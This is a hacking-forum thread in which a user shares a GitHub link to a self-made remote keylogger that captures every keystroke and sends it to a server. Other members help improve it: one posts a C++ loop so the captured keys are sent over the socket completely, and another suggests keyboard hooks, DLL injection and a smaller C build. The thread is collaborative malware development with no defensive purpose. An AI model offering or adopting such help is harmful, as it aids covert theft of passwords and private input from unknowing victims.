

Forum:[Hack Forums](#)

Thread: [Simple Remote Keylogger Code](#)

F.A.S.T - April 10, 2019, 3:14 pm

Check this Remote Keylogger I made. And if possible, help me improve by giving me your better advice's. Thanks!

Really simple*. Catch every key pressed and send it to the server side.

<https://github.com/Fahad-M/RootEdge>

dracx - April 11, 2019, 12:52 am

(Apr 10, 2019 03:14 PM)F.A.S.T Wrote: [\[CITE\]](#) Check this Remote Keylogger I made. And if possible, help me improve by giving me your better advice's. Thanks!

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<https://github.com/Fahad-M/RootEdge/blob/master/rootedge.cpp#L15>

this should be the way you send buffer over socket: (sorry for the formatting)

```
Code void send (const char * key) {
    int totalsent = 0;
    int buflen = strlen(key);
    while (buflen > totalsent){
        int r = send(mainsocket, key + totalsent, buflen - totalsent, 0);
        if (r < 0) return;
        totalsent += r;
    }
    return;
}
```

You cannot rely that `send()` will always send ALL the data in your buffer (same goes with recv, haven't checked your receive function yet, if there's any). That's why you should create a loop to make sure that if there are remaining bytes, it will get sent too.

I havnt read all your code yet, I just pointed this one out. Any questions I'd be happy to answer (when I'm online).

Cheers.

F.A.S.T - April 11, 2019, 2:09 am

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Cheers.Thanks alot! I'll definitely be looking into this! Thanks!

dracx - April 11, 2019, 2:35 am

(Apr 11, 2019 02:09 AM)F.A.S.T Wrote: [\[CITE\]](#) Thanks alot! I'll definitely be looking into this! Thanks! np. glad I could help

n1nj4_daemon - April 19, 2019, 8:01 am

What about hooking? Either local or global hooks would let you do dll injections and the like. Also, C++ when compiled is kind of big and maybe C would be better, but just a suggestion.